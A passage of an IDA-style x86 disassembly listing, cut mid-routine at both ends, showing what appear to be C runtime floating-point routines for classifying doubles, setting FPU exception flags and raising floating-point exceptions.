XREF: sub_40FC57+CBj mov [eax], dl add eax, 8 jmp short loc_40FD6A ; --------------------------------------------------------------------------- loc_40FD34: ; CODE XREF: sub_40FC57+B6j cmp eax, edx jnb short loc_40FD4B sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_40FD74 mov esi, ebx jmp short loc_40FCF2 ; --------------------------------------------------------------------------- loc_40FD44: ; CODE XREF: sub_40FC57+ABj movzx eax, al add esi, eax jmp short loc_40FCF2 ; --------------------------------------------------------------------------- loc_40FD4B: ; CODE XREF: sub_40FC57+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_40FD5C sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_40FD65 ; --------------------------------------------------------------------------- loc_40FD5C: ; CODE XREF: sub_40FC57+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_40FD65: ; CODE XREF: sub_40FC57+103j mov [esi], dl lea eax, [esi+8] loc_40FD6A: ; CODE XREF: sub_40FC57+40j ; sub_40FC57+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_40FD76 ; --------------------------------------------------------------------------- loc_40FD74: ; CODE XREF: sub_40FC57+7Ej ; sub_40FC57+9Dj ... xor eax, eax loc_40FD76: ; CODE XREF: sub_40FC57+11Bj pop edi pop esi pop ebx leave retn sub_40FC57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FD7B proc near ; CODE XREF: sub_40C4F8+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_40FDB5 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_40FE15 ; --------------------------------------------------------------------------- loc_40FDB5: ; CODE XREF: sub_40FD7B+26j jnb short loc_40FE1C mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_40FE1C lea eax, [ecx+edx] loc_40FDCA: ; CODE XREF: sub_40FD7B+59j cmp eax, esi jnb short loc_40FDD8 cmp byte ptr [eax], 0 jnz short loc_40FDD6 inc eax jmp short loc_40FDCA ; --------------------------------------------------------------------------- loc_40FDD6: ; CODE XREF: sub_40FD7B+56j cmp eax, esi loc_40FDD8: ; CODE XREF: sub_40FD7B+51j jnz short loc_40FE1C mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_40FE10 cmp esi, eax jbe short loc_40FE10 lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_40FE07 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_40FE02 loc_40FDFB: ; CODE XREF: sub_40FD7B+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_40FDFB loc_40FE02: ; CODE XREF: sub_40FD7B+7Ej mov [ebx+4], eax jmp short loc_40FE10 ; --------------------------------------------------------------------------- loc_40FE07: ; CODE XREF: sub_40FD7B+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_40FE10: ; CODE XREF: sub_40FD7B+68j ; sub_40FD7B+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_40FE15: ; CODE XREF: sub_40FD7B+38j mov [ebp+var_4], 1 loc_40FE1C: ; CODE XREF: sub_40FD7B:loc_40FDB5j ; sub_40FD7B+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40FD7B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_40FE24(int,int,double,int) sub_40FE24 proc near ; CODE XREF: sub_40B7DA+51p ; sub_40B923+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_420590, 0 jnz short loc_40FE59 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_4103D9 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_40FE59: ; CODE XREF: sub_40FE24+Aj push 0FFFFh mov dword_47F914, 21h push [ebp+arg_C] call sub_41064C fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_40FE24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40FE77(int,int,double,double,int) sub_40FE77 proc near ; CODE XREF: sub_40B7DA:loc_40B89Dp ; sub_40B923:loc_40B9E6p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_4101C2 add esp, 0Ch test eax, eax jnz short loc_40FEB5 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_40FF0F add esp, 18h loc_40FEB5: ; CODE XREF: sub_40FE77+1Aj push [ebp+arg_0] call sub_4104AC cmp dword_420590, 0 pop ecx jnz short loc_40FEF3 test eax, eax jz short loc_40FEF3 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_4103D9 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_40FEF3: ; CODE XREF: sub_40FE77+4Ej ; sub_40FE77+52j push eax call sub_410461 mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_41064C fld [ebp+arg_10] pop ecx pop ecx leave retn sub_40FE77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FF0F proc near ; CODE XREF: sub_40FE77+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_40FF41 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_40FF41: ; CODE XREF: sub_40FF0F+23j test cl, 2 jz short loc_40FF54 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_40FF54: ; CODE XREF: sub_40FF0F+35j test cl, bl jz short loc_40FF66 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_40FF66: ; CODE XREF: sub_40FF0F+47j test cl, 4 jz short loc_40FF79 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_40FF79: ; CODE XREF: sub_40FF0F+5Aj test cl, 8 jz short loc_40FF8C mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_40FF8C: ; CODE XREF: sub_40FF0F+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_41062F test al, bl jz short loc_410015 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_410015: ; CODE XREF: sub_40FF0F+FDj test al, 4 jz short loc_410020 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_410020: ; CODE XREF: sub_40FF0F+108j test al, 8 jz short loc_41002B mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_41002B: ; CODE XREF: sub_40FF0F+113j test al, 10h jz short loc_410035 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_410035: ; CODE XREF: sub_40FF0F+11Ej test al, 20h jz short loc_41003F mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_41003F: ; CODE XREF: sub_40FF0F+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_41007E cmp eax, 400h jz short loc_410070 loc_410051: ; DATA XREF: .nsp0:00419BDDo ; .nsp0:0041A40Do cmp eax, 800h jz short loc_410064 cmp eax, ecx jnz short loc_410084 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_410084 ; --------------------------------------------------------------------------- loc_410064: ; CODE XREF: sub_40FF0F+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_41007A ; --------------------------------------------------------------------------- loc_410070: ; CODE XREF: sub_40FF0F+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_41007A: ; CODE XREF: sub_40FF0F+15Fj mov [eax], ecx jmp short loc_410084 ; --------------------------------------------------------------------------- loc_41007E: ; CODE XREF: sub_40FF0F+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_410084: ; CODE XREF: sub_40FF0F+14Bj ; sub_40FF0F+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_4100AF cmp eax, 200h jz short loc_4100A2 cmp eax, ecx jnz short loc_4100BC mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_4100BC ; --------------------------------------------------------------------------- loc_4100A2: ; CODE XREF: sub_40FF0F+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_4100BA ; --------------------------------------------------------------------------- loc_4100AF: ; CODE XREF: sub_40FF0F+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_4100BA: ; CODE XREF: sub_40FF0F+19Ej mov [eax], ecx loc_4100BC: ; CODE XREF: sub_40FF0F+189j ; sub_40FF0F+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_41063D lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call dword_417140 ; RaiseException mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_410136 and dword ptr [esi], 0FFFFFFFEh loc_410136: ; CODE XREF: sub_40FF0F+222j test byte ptr [eax+8], 8 jz short loc_41013F and dword ptr [esi], 0FFFFFFFBh loc_41013F: ; CODE XREF: sub_40FF0F+22Bj test byte ptr [eax+8], 4 jz short loc_410148 and dword ptr [esi], 0FFFFFFF7h loc_410148: ; CODE XREF: sub_40FF0F+234j test byte ptr [eax+8], 2 jz short loc_410151 and dword ptr [esi], 0FFFFFFEFh loc_410151: ; CODE XREF: sub_40FF0F+23Dj test [eax+8], bl jz short loc_410159 and dword ptr [esi], 0FFFFFFDFh loc_410159: ; CODE XREF: sub_40FF0F+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_41018D dec ecx jz short loc_410181 dec ecx jz short loc_410177 dec ecx jnz short loc_41018F or byte ptr [esi+1], 0Ch jmp short loc_41018F ; --------------------------------------------------------------------------- loc_410177: ; CODE XREF: sub_40FF0F+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_410189 ; --------------------------------------------------------------------------- loc_410181: ; CODE XREF: sub_40FF0F+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_410189: ; CODE XREF: sub_40FF0F+270j mov [esi], ecx jmp short loc_41018F ; --------------------------------------------------------------------------- loc_41018D: ; CODE XREF: sub_40FF0F+257j and [esi], edx loc_41018F: ; CODE XREF: sub_40FF0F+260j ; sub_40FF0F+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_4101AF dec ecx jz short loc_4101A6 dec ecx jnz short loc_4101B8 and [esi], edx jmp short loc_4101B8 ; --------------------------------------------------------------------------- loc_4101A6: ; CODE XREF: sub_40FF0F+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_4101B6 ; --------------------------------------------------------------------------- loc_4101AF: ; CODE XREF: sub_40FF0F+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_4101B6: ; CODE XREF: sub_40FF0F+29Ej mov [esi], ecx loc_4101B8: ; CODE XREF: sub_40FF0F+291j ; sub_40FF0F+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_40FF0F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4101C2 proc near ; CODE XREF: sub_40FE77+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_4101ED test byte ptr [ebp+arg_8], bl jz short loc_4101ED push ebx call sub_41066F pop ecx and edi, 0FFFFFFF7h jmp loc_4103B7 ; --------------------------------------------------------------------------- loc_4101ED: ; CODE XREF: sub_4101C2+15j ; sub_4101C2+1Aj test al, 4 jz short loc_410207 test byte ptr [ebp+arg_8], 4 jz short loc_410207 push 4 call sub_41066F pop ecx and edi, 0FFFFFFFBh jmp loc_4103B7 ; --------------------------------------------------------------------------- loc_410207: ; CODE XREF: sub_4101C2+2Dj ; sub_4101C2+33j test al, bl jz loc_4102E1 test byte ptr [ebp+arg_8], 8 jz loc_4102E1 push 8 call sub_41066F pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_4102B9 cmp ecx, 400h jz short loc_410291 cmp ecx, 800h jz short loc_410269 cmp ecx, eax jnz loc_4102D9 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_4177A0 fld dbl_41FD20 fnstsw ax sahf ja short loc_410261 fchs loc_410261: ; CODE XREF: sub_4101C2+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_4102D7 ; --------------------------------------------------------------------------- loc_410269: ; CODE XREF: sub_4101C2+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_4177A0 fnstsw ax sahf jbe short loc_410281 fld dbl_41FD10 jmp short loc_410289 ; --------------------------------------------------------------------------- loc_410281: ; CODE XREF: sub_4101C2+B5j fld dbl_41FD20 fchs loc_410289: ; CODE XREF: sub_4101C2+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_4102D7 ; --------------------------------------------------------------------------- loc_410291: ; CODE XREF: sub_4101C2+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_4177A0 fnstsw ax sahf jbe short loc_4102A9 fld dbl_41FD20 jmp short loc_4102B1 ; --------------------------------------------------------------------------- loc_4102A9: ; CODE XREF: sub_4101C2+DDj fld dbl_41FD10 fchs loc_4102B1: ; CODE XREF: sub_4101C2+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_4102D7 ; --------------------------------------------------------------------------- loc_4102B9: ; CODE XREF: sub_4101C2+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_4177A0 fld dbl_41FD10 fnstsw ax sahf ja short loc_4102D1 fchs loc_4102D1: ; CODE XREF: sub_4101C2+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_4102D7: ; CODE XREF: sub_4101C2+A5j ; sub_4101C2+CDj ... fstp qword ptr [ecx] loc_4102D9: ; CODE XREF: sub_4101C2+81j and edi, 0FFFFFFFEh jmp loc_4103B7 ; --------------------------------------------------------------------------- loc_4102E1: ; CODE XREF: sub_4101C2+47j ; sub_4101C2+51j test al, 2 jz loc_4103B7 test byte ptr [ebp+arg_8], 10h jz loc_4103B7 push esi xor esi, esi test al, 10h jz short loc_4102FC mov esi, ebx loc_4102FC: ; CODE XREF: sub_4101C2+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_4177A0 fnstsw ax sahf jz loc_4103A5 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_41056E mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_410347 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_41039B ; --------------------------------------------------------------------------- loc_410347: ; CODE XREF: sub_4101C2+17Aj fld [ebp+var_C] fcomp dbl_4177A0 fnstsw ax sahf jnb short loc_410359 mov edx, ebx jmp short loc_41035B ; --------------------------------------------------------------------------- loc_410359: ; CODE XREF: sub_4101C2+191j xor edx, edx loc_41035B: ; CODE XREF: sub_4101C2+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_41038F sub eax, ecx loc_410372: ; CODE XREF: sub_4101C2+1CBj test byte ptr [ebp+var_C], bl jz short loc_41037D test esi, esi jnz short loc_41037D mov esi, ebx loc_41037D: ; CODE XREF: sub_4101C2+1B3j ; sub_4101C2+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_410389 or byte ptr [ebp+var_C+3], 80h loc_410389: ; CODE XREF: sub_4101C2+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_410372 loc_41038F: ; CODE XREF: sub_4101C2+1ACj test edx, edx jz short loc_41039B fld [ebp+var_C] fchs fstp [ebp+var_C] loc_41039B: ; CODE XREF: sub_4101C2+183j ; sub_4101C2+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_4103A7 ; --------------------------------------------------------------------------- loc_4103A5: ; CODE XREF: sub_4101C2+14Ej mov esi, ebx loc_4103A7: ; CODE XREF: sub_4101C2+1E1j test esi, esi pop esi jz short loc_4103B4 push 10h call sub_41066F pop ecx loc_4103B4: ; CODE XREF: sub_4101C2+1E8j and edi, 0FFFFFFFDh loc_4103B7: ; CODE XREF: sub_4101C2+26j ; sub_4101C2+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_4103CE test byte ptr [ebp+arg_8], 20h jz short loc_4103CE push 20h call sub_41066F pop ecx and edi, 0FFFFFFEFh loc_4103CE: ; CODE XREF: sub_4101C2+1F9j ; sub_4101C2+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_4101C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4103D9(int,int,int,int,int,int,double,int) sub_4103D9 proc near ; CODE XREF: sub_40FE24+2Bp ; sub_40FE77+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_410487 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_410444 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_41064C lea eax, [ebp+var_20] push eax call sub_41364D add esp, 0Ch test eax, eax jnz short loc_41043E push esi call sub_410461 pop ecx loc_41043E: ; CODE XREF: sub_4103D9+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_410444: ; CODE XREF: sub_4103D9+14j push 0FFFFh push [ebp+arg_20] call sub_41064C push [ebp+arg_0] call sub_410461 fld [ebp+arg_18] add esp, 0Ch leave retn sub_4103D9 endp ; =============== S U B R O U T I N E ======================================= sub_410461 proc near ; CODE XREF: sub_40FE77+7Dp ; sub_4103D9+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_41047C jle short locret_410486 cmp eax, 3 jg short locret_410486 mov dword_47F914, 22h retn ; --------------------------------------------------------------------------- loc_41047C: ; CODE XREF: sub_410461+7j mov dword_47F914, 21h locret_410486: ; CODE XREF: sub_410461+9j ; sub_410461+Ej retn sub_410461 endp ; =============== S U B R O U T I N E ======================================= sub_410487 proc near ; CODE XREF: sub_4103D9+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_41FC38 loc_41048E: ; CODE XREF: sub_410487+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_4104A4 add eax, 8 inc ecx cmp eax, offset dbl_41FD10 jl short loc_41048E xor eax, eax retn ; --------------------------------------------------------------------------- loc_4104A4: ; CODE XREF: sub_410487+Dj mov eax, off_41FC3C[ecx*8] retn sub_410487 endp ; =============== S U B R O U T I N E ======================================= sub_4104AC proc near ; CODE XREF: sub_40FE77+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_4104B8 push 5 jmp short loc_4104CE ; --------------------------------------------------------------------------- loc_4104B8: ; CODE XREF: sub_4104AC+6j test al, 8 jz short loc_4104C0 push 1 jmp short loc_4104CE ; --------------------------------------------------------------------------- loc_4104C0: ; CODE XREF: sub_4104AC+Ej test al, 4 jz short loc_4104C8 push 2 jmp short loc_4104CE ; --------------------------------------------------------------------------- loc_4104C8: ; CODE XREF: sub_4104AC+16j test al, 1 jz short loc_4104D0 push 3 loc_4104CE: ; CODE XREF: sub_4104AC+Aj ; sub_4104AC+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_4104D0: ; CODE XREF: sub_4104AC+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_4104AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4104D9(double) sub_4104D9 proc near ; CODE XREF: sub_40B7DA:loc_40B860p ; sub_40B923:loc_40B9A9p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_4104D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4104EB(double,int) sub_4104EB proc near ; CODE XREF: sub_41056E+82p ; sub_41056E+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_4104EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410514 proc near ; CODE XREF: sub_40B7DA+31p ; sub_40B923+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_41052B cmp [ebp+arg_0], edx jnz short loc_41053D push 1 jmp short loc_410567 ; --------------------------------------------------------------------------- loc_41052B: ; CODE XREF: sub_410514+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_41053D cmp [ebp+arg_0], edx jnz short loc_41053D push 2 jmp short loc_410567 ; --------------------------------------------------------------------------- loc_41053D: ; CODE XREF: sub_410514+11j ; sub_410514+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_410550 push 3 jmp short loc_410567 ; --------------------------------------------------------------------------- loc_410550: ; CODE XREF: sub_410514+36j cmp cx, 7FF0h jnz short loc_41056A test [ebp+arg_4], 7FFFFh jnz short loc_410565 cmp [ebp+arg_0], edx jz short loc_41056A loc_410565: ; CODE XREF: sub_410514+4Aj push 4 loc_410567: ; CODE XREF: sub_410514+15j ; sub_410514+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41056A: ; CODE XREF: sub_410514+41j ; sub_410514+4Fj xor eax, eax pop ebp retn sub_410514 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41056E(double,int) sub_41056E proc near ; CODE XREF: sub_4101C2+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_4177A0 push esi fnstsw ax sahf jnz short loc_41058E fldz xor esi, esi fstp [ebp+var_8] jmp loc_410624 ; --------------------------------------------------------------------------- loc_41058E: ; CODE XREF: sub_41056E+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_4105FD test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_4105A6 cmp dword ptr [ebp+arg_0], ecx jz short loc_4105FD loc_4105A6: ; CODE XREF: sub_41056E+31j fld [ebp+arg_0] fcomp dbl_4177A0 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_4105BE push 1 pop eax jmp short loc_4105C0 ; --------------------------------------------------------------------------- loc_4105BE: ; CODE XREF: sub_41056E+49j xor eax, eax loc_4105C0: ; CODE XREF: sub_41056E+4Ej ; sub_41056E+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_4105D9 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_4105D3 or dword ptr [ebp+arg_0+4], 1 loc_4105D3: ; CODE XREF: sub_41056E+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_4105C0 ; --------------------------------------------------------------------------- loc_4105D9: ; CODE XREF: sub_41056E+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_4105E7 or byte ptr [ebp+arg_0+7], 80h loc_4105E7: ; CODE XREF: sub_41056E+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_4104EB fstp [ebp+var_8] add esp, 0Ch jmp short loc_410624 ; --------------------------------------------------------------------------- loc_4105FD: ; CODE XREF: sub_41056E+28j ; sub_41056E+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_4104EB mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_410624: ; CODE XREF: sub_41056E+1Bj ; sub_41056E+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_41056E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41062F proc near ; CODE XREF: sub_40FF0F+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_41062F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41063D proc near ; CODE XREF: 